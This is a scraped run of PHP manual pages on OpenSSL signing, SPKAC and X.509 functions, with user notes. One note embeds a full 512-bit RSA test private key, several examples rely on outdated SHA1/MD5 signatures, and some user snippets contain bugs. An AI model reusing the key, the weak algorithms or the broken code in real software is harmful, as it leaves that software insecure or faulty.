This may help if you just want a real-simple private/public key pair:

<?php

$data = "Beeeeer is really good.. hic...";

// You can get a simple private/public key pair using:
// openssl genrsa 512 >private_key.txt
// openssl rsa -pubout <private_key.txt >public_key.txt

// IMPORTANT: The key pair below is provided for testing only.
// For security reasons you must get a new key pair
// for production use, obviously.

$private_key = <<<EOD
-----BEGIN RSA PRIVATE KEY-----
MIIBOgIBAAJBANDiE2+Xi/WnO+s120NiiJhNyIButVu6zxqlVzz0wy2j4kQVUC4Z
RZD80IY+4wIiX2YxKBZKGnd2TtPkcJ/ljkUCAwEAAQJAL151ZeMKHEU2c1qdRKS9
sTxCcc2pVwoAGVzRccNX16tfmCf8FjxuM3WmLdsPxYoHrwb1LFNxiNk1MXrxjH3R
6QIhAPB7edmcjH4bhMaJBztcbNE1VRCEi/bisAwiPPMq9/2nAiEA3lyc5+f6DEIJ
h1y6BWkdVULDSM+jpi1XiV/DevxuijMCIQCAEPGqHsF+4v7Jj+3HAgh9PU6otj2n
Y79nJtCYmvhoHwIgNDePaS4inApN7omp7WdXyhPZhBmulnGDYvEoGJN66d0CIHra
I2SvDkQ5CmrzkW5qPaE2oO7BSqAhRZxiYpZFb5CI
-----END RSA PRIVATE KEY-----
EOD;
$public_key = <<<EOD
-----BEGIN PUBLIC KEY-----
MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDiE2+Xi/WnO+s120NiiJhNyIButVu6
zxqlVzz0wy2j4kQVUC4ZRZD80IY+4wIiX2YxKBZKGnd2TtPkcJ/ljkUCAwEAAQ==
-----END PUBLIC KEY-----
EOD;

$binary_signature = "";

// At least with PHP 5.2.2 / OpenSSL 0.9.8b (Fedora 7)
// there seems to be no need to call openssl_get_privatekey or similar.
// Just pass the key as defined above
openssl_sign($data, $binary_signature, $private_key, OPENSSL_ALGO_SHA1);

// Check signature
$ok = openssl_verify($data, $binary_signature, $public_key, OPENSSL_ALGO_SHA1);
echo "check #1: ";
if ($ok == 1) {
    echo "signature ok (as it should be)\n";
} elseif ($ok == 0) {
    echo "bad (there's something wrong)\n";
} else {
    echo "ugly, error checking signature\n";
}

$ok = openssl_verify('tampered'.$data, $binary_signature, $public_key, OPENSSL_ALGO_SHA1);
echo "check #2: ";
if ($ok == 1) {
    echo "ERROR: Data has been tampered, but signature is still valid! Argh!\n";
} elseif ($ok == 0) {
    echo "bad signature (as it should be, since data has beent tampered)\n";
} else {
    echo "ugly, error checking signature\n";
}

?>
adam dot mansfeld at gmail dot com 19-Oct-2005 09:50
Hello,

the fourth parameter 'signature_alg' to choose the signature algorithm can be one of:

OPENSSL_ALGO_SHA1
OPENSSL_ALGO_MD5
OPENSSL_ALGO_MD4
OPENSSL_ALGO_MD2

Just for the case that somebody needs this.

Regards


Exports the challenge assoicated with a signed public key and challenge

  • « openssl_sign
  • openssl_spki_export »
  • PHP Manual
  • OpenSSL Functions
  • Exports the challenge assoicated with a signed public key and challenge

openssl_spki_export_challenge

(PHP 5 >= 5.6.0)

openssl_spki_export_challenge — Exports the challenge assoicated with a signed public key and challenge

Description

string openssl_spki_export_challenge ( string &$spkac )

Exports challenge from encoded signed public key and challenge

Parameters

spkac

Expects a valid signed public key and challenge

Return Values

Returns the associated challenge string or NULL on failure.

Errors/Exceptions

Emits an E_WARNING level error if an invalid argument is passed via the spkac parameter.

Examples

Example #1 openssl_spki_export_challenge() example

Extracts the associated challenge string or NULL on failure.

<?php
$pkey = openssl_pkey_new('secret password');
$spkac = openssl_spki_new($pkey, 'challenge string');
$challenge = openssl_spki_export_challenge(preg_replace('/SPKAC=/', '', $spkac));
?>

Example #2 openssl_spki_export_challenge() example from <keygen>

Extracts the associated challenge string issued from the <keygen> element

<?php
$challenge = openssl_spki_export_challenge(preg_replace('/SPKAC=/', '', $_POST['spkac']));
?>
<keygen name="spkac" challenge="challenge string" keytype="RSA">

See Also

  • openssl_spki_new() - Generate a new signed public key and challenge
  • openssl_spki_verify() - Verifies a signed public key and challenge
  • openssl_spki_export() - Exports a valid PEM formatted public key signed public key and challenge
  • openssl_md_method()
  • openssl_csr_new() - Generates a CSR
  • openssl_csr_sign() - Sign a CSR with another certificate (or itself) and generate a certificate

User Contributed Notes

There are no user contributed notes for this page.


Exports a valid PEM formatted public key signed public key and challenge

  • « openssl_spki_export_challenge
  • openssl_spki_new »
  • PHP Manual
  • OpenSSL Functions
  • Exports a valid PEM formatted public key signed public key and challenge

openssl_spki_export

(PHP 5 >= 5.6.0)

openssl_spki_export — Exports a valid PEM formatted public key signed public key and challenge

Description

string openssl_spki_export ( string &$spkac )

Exports PEM formatted public key from encoded signed public key and challenge

Parameters

spkac

Expects a valid signed public key and challenge

Return Values

Returns the associated PEM formatted public key or NULL on failure.

Errors/Exceptions

Emits an E_WARNING level error if an invalid argument is passed via the spkac parameter.

Examples

Example #1 openssl_spki_export() example

Extracts the associated PEM formatted public key or NULL on failure.

<?php
$pkey = openssl_pkey_new('secret password');
$spkac = openssl_spki_new($pkey, 'challenge string');
$pubKey = openssl_spki_export(preg_replace('/SPKAC=/', '', $spkac));

if ($pubKey) {
    echo $pubKey;
}
?>

Example #2 openssl_spki_export() example from <keygen>

Extracts the associated PEM formatted public key issued from the <keygen> element

<?php
$spkac = openssl_spki_export(preg_replace('/SPKAC=/', '', $_POST['spkac']));
if ($spkac != NULL) {
    echo $spkac;
} else {
    echo "Extraction of pub key failed";
}
?>
<keygen name="spkac" challenge="challenge string" keytype="RSA">

See Also

  • openssl_spki_new() - Generate a new signed public key and challenge
  • openssl_spki_verify() - Verifies a signed public key and challenge
  • openssl_spki_export_challenge() - Exports the challenge assoicated with a signed public key and challenge
  • openssl_md_method()
  • openssl_csr_new() - Generates a CSR
  • openssl_csr_sign() - Sign a CSR with another certificate (or itself) and generate a certificate

User Contributed Notes

There are no user contributed notes for this page.


Generate a new signed public key and challenge

  • « openssl_spki_export
  • openssl_spki_verify »
  • PHP Manual
  • OpenSSL Functions
  • Generate a new signed public key and challenge

openssl_spki_new

(PHP 5 >= 5.6.0)

openssl_spki_new — Generate a new signed public key and challenge

Description

string openssl_spki_new ( resource &$privkey , string &$challenge [, int $algorithm = 0 ] )

Generates a signed public key and challenge using specified hashing algorithm

Parameters

privkey

privkey should be set to a private key that was previously generated by openssl_pkey_new() (or otherwise obtained from the other openssl_pkey family of functions). The corresponding public portion of the key will be used to sign the CSR.

challenge

The challenge associated to associate with the SPKAC

algorithm

The digest algorithm. See openssl_get_md_method().

Return Values

Returns a signed public key and challenge string or NULL on failure.

Errors/Exceptions

Emits an E_WARNING level error if an unknown signature algorithm is passed via the algorithm parameter.

Examples

Example #1 openssl_spki_new() example

Generate a new SPKAC with the default digest (MD5)

<?php
$pkey = openssl_pkey_new('secret password');
$spkac = openssl_spki_new($pkey, 'testing');

if ($spkac !== NULL) {
    echo $spkac;
} else {
    echo "SPKAC generation failed";
}
?>

The above example will output something similar to:

MIICRzCCAS8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDM3V3sS4o4
mB9dczziRnjGAmSp+JwPrHoYMAFGvDNmZGyiWfU586X4BKs++BAj7e/FsAfno0Hd
hN9FwpCNFSox30L03nQvLYJE7f/WqigwBeMRT7Op/xvFks4sT70xP2HRYv4KqP9a
WRcKU6cFH8VxhFhqM2txEIxZKdFLaL28yT7bEDmcglf4JLDdgNMb9rET1dkgtKE6
dOaJHPGjf1uvnOH4YwkQr7n4sLUR3Kdbh0ZJAFuQVDZulo+LLzxBBkqJJcB6FhF+
oXCdHTKZnqAhpWDz+NXYytAmevab6IYm5TWPWsJUv1YKJA5lg2mXbbloIZlN9Mgc
i9fi03bdw+crAgMBAAEWB3Rlc3RpbmcwDQYJKoZIhvcNAQEEBQADggEBALyUvP/o
pPSoWBlorFyZ2RnGwKf9qMpE0q2IJP7G3oDR4LyK/m933DUiZ+YnqThrH/CWb4Ek
y5I3OCyl3S4wCuU1ibZZwDVwYShr5ELp0J9PEf7qMQZOhNsizoC7k+Czb2xB6hYW
sKfsfTKm3cXBtH3fdgc/Z1Z7VSWnAzYo38snqm72NTf5yFRnrQdphNNXi+kn1zHA
lxXRyFDXHOcYsOnwAWfyXFA4QDHQ0ezz0UoCY8gJXovcZb4GRYqOLUAsF2HcNboy
29WN8VqE29sL9QxVZFlwMcqyoLcNnyw38GvNvAGqSvzzbnEFP2MAQXJVe0H0hdp/
MML5G2iNVgNozAo=

See Also

  • openssl_spki_new()
  • openssl_spki_export_challenge() - Exports the challenge assoicated with a signed public key and challenge
  • openssl_spki_export() - Exports a valid PEM formatted public key signed public key and challenge
  • openssl_csr_new() - Generates a CSR
  • openssl_csr_sign() - Sign a CSR with another certificate (or itself) and generate a certificate

User Contributed Notes

There are no user contributed notes for this page.


Verifies a signed public key and challenge

  • « openssl_spki_new
  • openssl_verify »
  • PHP Manual
  • OpenSSL Functions
  • Verifies a signed public key and challenge

openssl_spki_verify

(PHP 5 >= 5.6.0)

openssl_spki_verify — Verifies a signed public key and challenge

Description

string openssl_spki_verify ( string &$spkac )

Validates the supplied signed public key and challenge

Parameters

spkac

Expects a valid signed public key and challenge

Return Values

Returns a boolean on success or failure.

Errors/Exceptions

Emits an E_WARNING level error if an invalid argument is passed via the spkac parameter.

Examples

Example #1 openssl_spki_verify() example

Validates an existing signed public key and challenge

<?php
$pkey = openssl_pkey_new('secret password');
$spkac = openssl_spki_new($pkey, 'challenge string');

if (openssl_spki_verify(preg_replace('/SPKAC=/', '', $spkac))) {
    echo $spkac;
} else {
    echo "SPKAC validation failed";
}
?>

Example #2 openssl_spki_verify() example from <keygen>

Validates an existing signed public key and challenge issued from the <keygen> element

<?php
if (openssl_spki_verify(preg_replace('/SPKAC=/', '', $_POST['spkac']))) {
    echo $spkac;
} else {
    echo "SPKAC validation failed";
}
?>
<keygen name="spkac" challenge="challenge string" keytype="RSA">

See Also

  • openssl_spki_new() - Generate a new signed public key and challenge
  • openssl_spki_export_challenge() - Exports the challenge assoicated with a signed public key and challenge
  • openssl_spki_export() - Exports a valid PEM formatted public key signed public key and challenge
  • openssl_md_method()
  • openssl_csr_new() - Generates a CSR
  • openssl_csr_sign() - Sign a CSR with another certificate (or itself) and generate a certificate

User Contributed Notes

There are no user contributed notes for this page.


Verify signature

  • « openssl_spki_verify
  • openssl_x509_check_private_key »
  • PHP Manual
  • OpenSSL Functions
  • Verify signature

openssl_verify

(PHP 4 >= 4.0.4, PHP 5)

openssl_verify — Verify signature

Description

int openssl_verify ( string $data , string $signature , mixed $pub_key_id [, mixed $signature_alg = OPENSSL_ALGO_SHA1 ] )

openssl_verify() verifies that the signature is correct for the specified data using the public key associated with pub_key_id. This must be the public key corresponding to the private key used for signing.

Parameters

data

The string of data used to generate the signature previously

signature

A raw binary string, generated by openssl_sign() or similar means

pub_key_id

resource - a key, returned by openssl_get_publickey()

string - a PEM formatted key, example, "-----BEGIN PUBLIC KEY----- MIIBCgK..."

signature_alg

int - one of these Signature Algorithms.

string - a valid string returned by openssl_get_md_methods() example, "sha1WithRSAEncryption" or "sha512".

Return Values

Returns 1 if the signature is correct, 0 if it is incorrect, and -1 on error.

Changelog

Version | Description
5.2.0 | The signature_alg parameter was added.

Examples

Example #1 openssl_verify() example

<?php
// $data and $signature are assumed to contain the data and the signature

// fetch public key from certificate and ready it
$pubkeyid = openssl_pkey_get_public("file://src/openssl-0.9.6/demos/sign/cert.pem");

// state whether signature is okay or not
$ok = openssl_verify($data, $signature, $pubkeyid);
if ($ok == 1) {
    echo "good";
} elseif ($ok == 0) {
    echo "bad";
} else {
    echo "ugly, error checking signature";
}
// free the key from memory
openssl_free_key($pubkeyid);
?>

Example #2 openssl_verify() example

<?php
//data you want to sign
$data = 'my data';

//create new private and public key
$private_key_res = openssl_pkey_new(array(
    "private_key_bits" => 2048,
    "private_key_type" => OPENSSL_KEYTYPE_RSA,
));
$details = openssl_pkey_get_details($private_key_res);
$public_key_res = openssl_pkey_get_public($details['key']);

//create signature
openssl_sign($data, $signature, $private_key_res, "sha1WithRSAEncryption");

//verify signature
$ok = openssl_verify($data, $signature, $public_key_res, OPENSSL_ALGO_SHA1);
if ($ok == 1) {
    echo "valid";
} elseif ($ok == 0) {
    echo "invalid";
} else {
    echo "error: ".openssl_error_string();
}
?>

See Also

  • openssl_sign() - Generate signature

User Contributed Notes

attila dot m dot magyar at gmail dot com 27-Aug-2014 06:37
mikey at badpenguins dot com -- validating an X509 certificate chain in php seems to be possible with openssl_x509_checkpurpose()
jeremie dot gomez at gmail dot com 31-Aug-2011 08:08
You can actually use the public key as third parameter and not the certificate.

If you can't make it work, make sure that :

1) Your public key is well formatted. It seems that it must have the ----BEGIN PUBLIC KEY---- and ----END PUBLIC KEY----

2) Your signature is in binary format. You can use the php base64_decode for this.
mikey at badpenguins dot com 07-Jun-2010 06:04
I spent days scouring the php openssl documentation trying to figure out how to do what sounds like a simple task - given two PEM encoded certificates, is one the signer of the other?  Nowhere in the openssl_verify() documentation or comments is it explained where to obtain the signature of an existing certificate.  The openssl_x509_parse() function looked promising, but it is an unstable API that may change.

I had to write my own code to determine if one cert signed another, it is located here: http://badpenguins.com/source/misc/isCertSigner.php?viewSource

In a nutshell here is what I learned...

The signature data in a signed X.509 certificate contains DER formatted data about the signature that is encrypted with the signers public key.  The data contains a hash of the original subject certificate and information about what encryption algorithm was used to create the signature.

So you need to get this signature data and a copy of the original certificate with the issuer and signature sequences removed.  Hash a copy of the original certificate (sans issuer/signature sequences) with the same algorithm the issuer used and if the hashes match, you have the issuer cert that signed the certificate.
Stiv 02-Mar-2006 03:34
I've finally found a way to verify signature. Sample in the documentation doesn't work. Code bellow DOES work :)

<?php
// $data is assumed to contain the data to be signed

// fetch certificate from file and ready it
$fp = fopen("path/file.pem", "r");
$cert = fread($fp, 8192);
fclose($fp);

// state whether signature is okay or not
// use the certificate, not the public key
$ok = openssl_verify($data, $signature, $cert);
if ($ok == 1) {
    echo "good";
} elseif ($ok == 0) {
    echo "bad";
} else {
    echo "ugly, error checking signature";
}
?>
steve dot venable at lmco dot com 30-May-2002 09:36
A note about the openssl_verify() (and some of the other functions).  The public key comes from a certificate in any of the support formats (as the example shows, use openssl_get_publickey() to get the resource id).  But after some trial and error I found the signature string MUST BE BINARY.  While no error occurs, passing a base64-formatted signature string (PEM format?), you simply get a mismatch.  When I did the base64 decode myself, the verify returned a match (return value 1).  You can simply drop the begin/end lines and take the output of the 'base64_decode()' function.
meint dot post at bigfoot dot com 09-Jun-2001 08:56
Anbybody trying to get a Win32 CryptoAPI based digital signature component to work with the openssl_verify() function should be aware that the CryptoAPI PKCS1 (RSA) method uses bytes in reverse order while the openssl_verify() method expects a correctly formatted PKCS1 digital signature (as should be). I learned this the hard way and it took me some time to dig this out. A simple solution in VBScript to reverse the byte order:

N = Len(Blob.Hex)

' reverse bytes in the signature using Hex format
For i = 1 To N - 1 Step 2
    s = Mid(Blob, i, 2) & s
Next

s contains the digital signature in reverse order. Blob is an arbitrary binary container.

Send the signature off in Hex format and use a hex2bin method in PHP to convert to the correct format for openssl_verify(), i.e.

function hex2bin($data) {

    $len = strlen($data);
    return pack("H" . $len, $data);

}

That's it, hope it helps out. BTW I used ASPEncrypt to toy around with on Win32 platform. Works only with Internet Explorer but you could also use a Java applet and have none of the abovementioned problems :-)


Checks if a private key corresponds to a certificate

  • « openssl_verify
  • openssl_x509_checkpurpose »
  • PHP Manual
  • OpenSSL Functions
  • Checks if a private key corresponds to a certificate

openssl_x509_check_private_key

(PHP 4 >= 4.2.0, PHP 5)

openssl_x509_check_private_key — Checks if a private key corresponds to a certificate

Description

bool openssl_x509_check_private_key ( mixed $cert , mixed $key )

Checks whether the given key is the private key that corresponds to cert.

Parameters

cert

The certificate.

key

The private key.

Return Values

Returns TRUE if key is the private key that corresponds to cert, or FALSE otherwise.

User Contributed Notes

chris dot kistner at gmail dot com 07-Jan-2011 11:35
Please note that this function only compares the public key component of the private key with the public key residing in the certificate.


Verifies if a certificate can be used for a particular purpose

  • « openssl_x509_check_private_key
  • openssl_x509_export_to_file »
  • PHP Manual
  • OpenSSL Functions
  • Verifies if a certificate can be used for a particular purpose

openssl_x509_checkpurpose

(PHP 4 >= 4.0.6, PHP 5)

openssl_x509_checkpurpose — Verifies if a certificate can be used for a particular purpose

Description

int openssl_x509_checkpurpose ( mixed $x509cert , int $purpose [, array $cainfo = array() [, string $untrustedfile ]] )

openssl_x509_checkpurpose() examines a certificate to see if it can be used for the specified purpose.

Parameters

x509cert

The examined certificate.

purpose

openssl_x509_checkpurpose() purposes
Constant | Description
X509_PURPOSE_SSL_CLIENT | Can the certificate be used for the client side of an SSL connection?
X509_PURPOSE_SSL_SERVER | Can the certificate be used for the server side of an SSL connection?
X509_PURPOSE_NS_SSL_SERVER | Can the cert be used for Netscape SSL server?
X509_PURPOSE_SMIME_SIGN | Can the cert be used to sign S/MIME email?
X509_PURPOSE_SMIME_ENCRYPT | Can the cert be used to encrypt S/MIME email?
X509_PURPOSE_CRL_SIGN | Can the cert be used to sign a certificate revocation list (CRL)?
X509_PURPOSE_ANY | Can the cert be used for Any/All purposes?
These options are not bitfields - you may specify one only!

cainfo

cainfo should be an array of trusted CA files/dirs as described in Certificate Verification.

untrustedfile

If specified, this should be the name of a PEM encoded file holding certificates that can be used to help verify the certificate, although no trust is placed in the certificates that come from that file.

Return Values

Returns TRUE if the certificate can be used for the intended purpose, FALSE if it cannot, or -1 on error.

User Contributed Notes

adr at NOSPAM dot entropymatrix dot com 18-May-2013 01:24
The following is an example usage of openssl_x509_checkpurpose. It is equivalent to the openssl verify command as follows:
openssl verify -CApath $openssl_cadir -purpose sslserver $openssl_crtfile

<?php
$openssl_crtfile='auth.combined.pem';
$openssl_cadir='./ca';

$x509_res = openssl_x509_read(file_get_contents($openssl_crtfile));
if(empty($x509_res)) {
        echo 'x509 cert could not be read'."\n";
}
$valid = openssl_x509_checkpurpose($x509_res,X509_PURPOSE_SSL_SERVER,array($openssl_cadir));
if ($valid === true) {
        echo 'Certificate is valid for use as SSL server'."\n";
} else {
        echo 'Certificate validation returned'.$valid."\n";
}
?>
chaoszcat at gmail dot com 16-Aug-2012 01:05
Few days ago I dual boot my system into Windows 8 and play around with it, and then I boot it back to windows 7, and all of sudden this function fails by returning me 0 all the time.

Spent almost two hours digging google for no result, I almost end my research.

Then (I don't know why) I did a system time update (synchronize with time.nist.gov), and all of sudden, this function returns me 1 (true).

It's true that when I boot back to Windows 7 my time has been screwed by a few hours later than my current time, and I did a manual change on it. I doubt this has anything to do with this function?

Hope it helps.

Keywords: google discovery, openid, discovery
Platform: Windows 7 64bit, PHP 5.3.13


Exports a certificate to file

  • « openssl_x509_checkpurpose
  • openssl_x509_export »
  • PHP Manual
  • OpenSSL Functions
  • Exports a certificate to file

openssl_x509_export_to_file

(PHP 4 >= 4.2.0, PHP 5)

openssl_x509_export_to_file — Exports a certificate to file

Description

bool openssl_x509_export_to_file ( mixed $x509 , string $outfilename [, bool $notext = TRUE ] )

openssl_x509_export_to_file() stores x509 into a file named by outfilename in a PEM encoded format.

Parameters

x509

See Key/Certificate parameters for a list of valid values.

outfilename

Path to the output file.

notext

The optional parameter notext affects the verbosity of the output; if it is FALSE, then additional human-readable information is included in the output. The default value of notext is TRUE.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Exports a certificate as a string

  • « openssl_x509_export_to_file
  • openssl_x509_fingerprint »
  • PHP Manual
  • OpenSSL Functions
  • Exports a certificate as a string

openssl_x509_export

(PHP 4 >= 4.2.0, PHP 5)

openssl_x509_export — Exports a certificate as a string

Description

bool openssl_x509_export ( mixed $x509 , string &$output [, bool $notext = TRUE ] )

openssl_x509_export() stores x509 into a string named by output in a PEM encoded format.

Parameters

x509

See Key/Certificate parameters for a list of valid values.

output

On success, this will hold the PEM.

notext

The optional parameter notext affects the verbosity of the output; if it is FALSE, then additional human-readable information is included in the output. The default value of notext is TRUE.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Calculates the fingerprint, or digest, of a given X.509 certificate

  • « openssl_x509_export
  • openssl_x509_free »
  • PHP Manual
  • OpenSSL Functions
  • Calculates the fingerprint, or digest, of a given X.509 certificate

openssl_x509_fingerprint

(PHP 5.6)

openssl_x509_fingerprint — Calculates the fingerprint, or digest, of a given X.509 certificate

Description

bool openssl_x509_fingerprint ( mixed $x509 [, string $hash_algorithm = "sha1" [, bool $raw_output = FALSE ]] )

openssl_x509_fingerprint() returns the digest of x509 as a string.

Parameters

x509

See Key/Certificate parameters for a list of valid values.

hash_algorithm

The hash algorithm to use, e.g. "md5" or "sha1"

raw_output

When set to TRUE, outputs raw binary data. FALSE outputs lowercase hexits.

Return Values

Returns a string containing the calculated certificate fingerprint as lowercase hexits unless raw_output is set to TRUE in which case the raw binary representation of the message digest is returned.

Returns FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Free certificate resource

  • « openssl_x509_fingerprint
  • openssl_x509_parse »
  • PHP Manual
  • OpenSSL Functions
  • Free certificate resource

openssl_x509_free

(PHP 4 >= 4.0.6, PHP 5)

openssl_x509_free — Free certificate resource

Description

void openssl_x509_free ( resource $x509cert )

openssl_x509_free() frees the certificate associated with the specified x509cert resource from memory.

Parameters

x509cert

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Parse an X509 certificate and return the information as an array

  • « openssl_x509_free
  • openssl_x509_read »
  • PHP Manual
  • OpenSSL Functions
  • Parse an X509 certificate and return the information as an array

openssl_x509_parse

(PHP 4 >= 4.0.6, PHP 5)

openssl_x509_parse — Parse an X509 certificate and return the information as an array

Description

array openssl_x509_parse ( mixed $x509cert [, bool $shortnames = true ] )

openssl_x509_parse() returns information about the supplied x509cert, including fields such as subject name, issuer name, purposes, valid from and valid to dates etc.

Parameters

x509cert

shortnames

shortnames controls how the data is indexed in the array - if shortnames is TRUE (the default) then fields will be indexed with the short name form, otherwise, the long name form will be used - e.g.: CN is the shortname form of commonName.

Return Values

The structure of the returned data is (deliberately) not yet documented, as it is still subject to change.

User Contributed Notes

s dot stok at rollerscapes dot net 28-Dec-2009 02:03
Alternative subjects can read as extensions.

[extensions]
            [subjectAltName] => DNS:*.cacert.org, DNS:cacert.org, DNS:*.cacert.net, DNS:cacert.net, DNS:*.cacert.com, DNS:cacert.com
koukopoulos at gmail dot com 17-Mar-2008 02:22
Re: the previous note: support for the x509v3 extensions was added in PHP 5.2. Also in PHP5 prior to 5.2.4 the values of the x509v3 extensions were not decoded and were returned in the DER binary representation. Therefore in order to read the contents of the v3 extensions you have to parse the relevant ASN.1 structures yourself.

For example if one needs to read an IA5STRING value in a private extension with the OID 1.3.6.1.4.1.7782.3.3 one can do :

<?php

/* parse a DER encoded representation
   of a IA5STRING of length < 127 */
function asn1der_ia5string($str)
{
    $len=strlen($str)-2;
    if ($len < 0 && $len > 127) {
        return false;
    }

    /* check tag and len */
    if (22 != (ord($str[$pos++]) & 0x1f) &&
    ord($str[$pos++]) != $len) {
    /* not a valid DER encoding of an IA5STRING */
    return false;
    }

    return substr($str, 2,  $len);
}
$cert = openssl_x509_parse($pemcert);
print (asn1der_ia5string($cert['extensions']['1.3.6.1.4.1.7782.3.3'])); // prints decoded ascii string

?>

In newer versions (>5.2.3) the extensions are returned in a 'readable format'. For example:

<?php print_r(openssl_x509_parse(...)); ?>
will result in
<?
Array
(
    [name] => /C=GR/O=SOMETHING/CN=ME/
    ...
    [extensions] => Array
        (
            [basicConstraints] => CA:FALSE
            [keyUsage] => Digital Signature, Non Repudiation, Key Encipherment
            [extendedKeyUsage] => E-mail Protection, TLS Web Client Authentication
            [nsCertType] => SSL Client, S/MIME
            ....
?>
zioproto at gmail dot com 13-Feb-2008 03:43
To read an extension from a X.509 certificate, you can proceed like this if you know the OID

//Read the certificate from file
$cert = file_get_contents('test.crt');
$ssl = openssl_x509_parse($cert);

$ext_value =  $ssl['extensions']['1.2.3.4.5.6'];
echo $ext_value

--------------------------------

Because the $ssl array is not documented, you can easily see its contents like this:

  //To print out all the array!
  print_r(array_values($ssl));
  print_r(array_keys($ssl));
nathanael at dihedral dot de 11-Aug-2006 03:02
When dealing with the purposes of a x509 crt file
the output of openssl_x509_parse gives an array with following for the purposes:
each new array ([purposes][1], [purposes][2] for example) is a new purpose check
I compared this output with the output of the command
# openssl x509 -purpose -in <x509crt_file>
the result i got was that
[purposes][x][2] quite obviously is the name of the purpose checked
[purposes][x][1] corresponds to the tested purpose (as named in [purposes][x][2]) acting as CA
[purposes][x][0] corresponds to the general availability of the purpose

[purposes] => Array
    (
        [1] => Array
            (
                [0] => 1
                [1] => 1
                [2] => sslclient
            )

        [2] => Array
            (
                [0] => 1
                [1] => 1
                [2] => sslserver
            )

        [3] => Array
            (
                [0] => 1
                [1] => 1
                [2] => nssslserver
            )

        [4] => Array
            (
                [0] => 1
                [1] => 1
                [2] => smimesign
            )

        [5] => Array
            (
                [0] => 1
                [1] => 1
                [2] => smimeencrypt
            )

        [6] => Array
            (
                [0] => 1
                [1] => 1
                [2] => crlsign
            )

        [7] => Array
            (
                [0] => 1
                [1] => 1
                [2] => any
            )

        [8] => Array
            (
                [0] => 1
                [1] => 1
                [2] => ocsphelper
            )

    )
maarten at xolphin dot nl 11-Feb-2005 11:00
At this time very useful X509 oids (like streetAddress, postalCode and others) are missing. You can find a list of them at http://www.alvestrand.no/objectid/2.5.4.html, I hope they get included to openssl-x509-parse soon.

Until then you can get these oids anyway like this:

<?
  function getOID($OID, $ssl)
  {
    preg_match('/\/' . $OID  . '=([^\/]+)/', $ssl, $matches);
    return $matches[1];
  }

  $cert = file_get_contents('test.crt');
  $ssl = openssl_x509_parse($cert);
  $Address = getOID('2.5.4.9', $ssl['name']);
  $ZipCode = getOID('2.5.4.17', $ssl['name']);
  $Postbox = getOID('2.5.4.18', $ssl['name']);
?>

The parseCert function from the Horde framework can be usefull for this too.
smgallo at buffalo dot edu 29-Oct-2004 08:15
The identifier for the email portion of certificates in the name and subject array have changed since PHP4.  In PHP 4.3.0 the following array was returned (displayed my print_r())

[name] => /O=Grid/O=Globus/O=CCR Grid Portal/OU=Portal User/CN=Test User/Email=test@nospam.buffalo.edu
[subject] => Array
(
   [O] => Grid/O=Globus/O=CCR Grid Portal
   [OU] => Portal User
   [CN] => Test User
   [Email] => test@nospam.buffalo.edu
...

The result in PHP5 is (note Email -> emailAddress):

[name] => /O=Grid/O=Globus/O=CCR Grid Portal/OU=Portal User/CN=Test User/emailAddress=test@nospam.buffalo.edu
[subject] => Array
(
   [O] => Grid/O=Globus/O=CCR Grid Portal
   [OU] => Portal User
   [CN] => Test User
   [emailAddress] => test@nospam.buffalo.edu
...

Of course, the manual DOES say this could happen.  :)


Parse an X.509 certificate and return a resource identifier for it

  • « openssl_x509_parse
  • Password Hashing »
  • PHP Manual
  • OpenSSL Functions
  • Parse an X.509 certificate and return a resource identifier for it

openssl_x509_read

(PHP 4 >= 4.0.6, PHP 5)

openssl_x509_read — Parse an X.509 certificate and return a resource identifier for it

Description

resource openssl_x509_read ( mixed $x509certdata )

openssl_x509_read() parses the certificate supplied by x509certdata and returns a resource identifier for it.

Parameters

x509certdata

Return Values

Returns a resource identifier on success or FALSE on failure.

User Contributed Notes

marc theat nwd thedot mx 10-May-2011 06:58
To get the real timestamps as integer values for the validity daterange you can use as follows:

<?php
$data = openssl_x509_parse(file_get_contents('/path/to/cert.crt'));

$validFrom = date('Y-m-d H:i:s', $data['validFrom_time_t']);
$validTo ) date('Y-m-d H:i:s', $data['validTo_time_t']);

echo $validFrom . "\n";
echo $validTo . "\n";

?>
04-Jun-2003 06:32
After some tests I've been able to get some results this way ...

<?php

 $fp = fopen("/etc/httpd/conf/ssl/moncertif.crt", "r");
 $cert = fread($fp, 8192);
 fclose($fp);

echo "Read<br>";
echo openssl_x509_read($cert);
echo "<br>";
echo "*********************";
echo "<br>";
echo "Parse<br>";
print_r(openssl_x509_parse($cert));
/*
// or
print_r(openssl_x509_parse( openssl_x509_read($cert) ) );
*/

?>

enjoy
;)
anthony dot whitehead at rfv dot sfa dot se 03-Feb-2003 02:32
Short HOWTO for getting data out of a client certificate via an SSL enabled iPlanet (Netscape Enterprise or Sun ONE) web server.

The iPlanet server sets $_SERVER["CLIENT_CERT"] whenever a client authenticates with a certificate. This variable contains an encoded representation of the certificate presented by the client. This in itself is useless to scripts or applications, we need to extract the actual information from the encoding. It turns out that we are in luck, the encoding is NEARLY a standard PEM encoding which can be read by the openssl_x509_read() function. A standard PEM has a begin line, an end line and inbetween is a base64 encoding of the DER representation of the certificate. PEM requires that linefeeds be present every 64 characters, however this is already the case with our CLIENT_CERT variable. For some reason the iPlanet server neglects to attach the begin and end headers, all that is required to allow access to the certificate is replacing these headers. Here is a small code excerpt for doing just that and printing out the raw certificate data.

<?php
    $beginpem = "-----BEGIN CERTIFICATE-----\n";
    $endpem = "-----END CERTIFICATE-----\n";

    // Small function to print the data recursivly.
    function print_element($item, $key)
    {
        if( is_array( $item ) )
        {
            echo "$key is Array:\n";
            array_walk( $item, 'print_element' );
            echo "$key done\n";
        }
        else
            echo "$key = $item\n";
    }

    // Build the PEM string.
    $pemdata = $beginpem.$_SERVER["CLIENT_CERT"]."\n".$endpem;

    // Get a certificate resource from the PEM string.
    $cert = openssl_x509_read( $pemdata );

    // Parse the resource and print out the contents.
    $cert_data = openssl_x509_parse( $cert );
    array_walk( $cert_data, 'print_element' );

    // Free the resource
    openssl_x509_free( $cert );
?>


Password Hashing

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Password Hashing Functions
    • password_get_info — Returns information about the given hash
    • password_hash — Creates a password hash
